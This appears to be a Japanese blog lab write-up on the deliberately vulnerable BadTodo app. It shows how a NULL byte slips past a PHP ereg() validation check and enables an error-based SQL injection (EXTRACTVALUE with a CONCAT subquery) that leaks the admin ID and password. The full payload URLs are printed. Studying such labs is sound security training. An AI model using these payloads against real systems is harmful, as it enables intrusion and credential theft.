前回:やられアプリ BadTodo - 25.1 NULLバイト攻撃(+ファイルインクルード) - demandosigno
新規ユーザー登録時などにバリデーションチェックが入り(記号などの入力はダメで)「英数字で」と注意されます。
この時のチェックはAPIが行っているのですが、このidパラメータにSQLインジェクションがあります。
まず、問題ない入力の場合。
https://todo.example.jp/api/v1/is_valid_id.php?id=test
true が返ってきます。
次にSQLインジェクションを試します。
BadTodo - 3.4 SQLインジェクション ID・パスワードの取得で試した「エラーメッセージに情報を埋め込む」方法を使います。(MySQLのextractvalue関数を使いXPATHのエラーを起こし、サブクエリの結果をCONCATで展開して目的の文字列を取得する)
https://todo.example.jp/api/v1/is_valid_id.php?id=test%27%20AND%20EXTRACTVALUE(0,(SELECT%20CONCAT(%27$%27,userid,%27:%27,pwd)%20FROM%20users%20LIMIT%200,1))+--+
バリデーションチェックにより攻撃文字列を通すことができず通常のエラーになります。
ここで前回BadTodo - 24.1 NULLバイト攻撃(+ファイルインクルード)と同じくNULLバイト(%00)を追加します。
https://todo.example.jp/api/v1/is_valid_id.php?id=test%00%27%20AND%20EXTRACTVALUE(0,(SELECT%20CONCAT(%27$%27,userid,%27:%27,pwd)%20FROM%20users%20LIMIT%200,1))+--+
するとAdminのユーザー名とパスワードを表示させることができました。
ソースコード is_valid_id.php にて ereg() という正規表現関数を用いて値を検証しているのですが、前回と同じくこちらもバイナリセーフではない関数なので%00で検査対象文字列が終わっていると判断されチェックをすり抜けます。
<?php ~(中略)~ if (!ereg('^[a-zA-Z0-9]{3,16}$', $userid)) { echo '{"ok": false, "message": "ユーザIDは英数字で3文字以上、16文字以内で指定してください"}'; exit; }
ereg関数は PHP 5.3.0 で非推奨となり、PHP 7.0.0 で削除されました。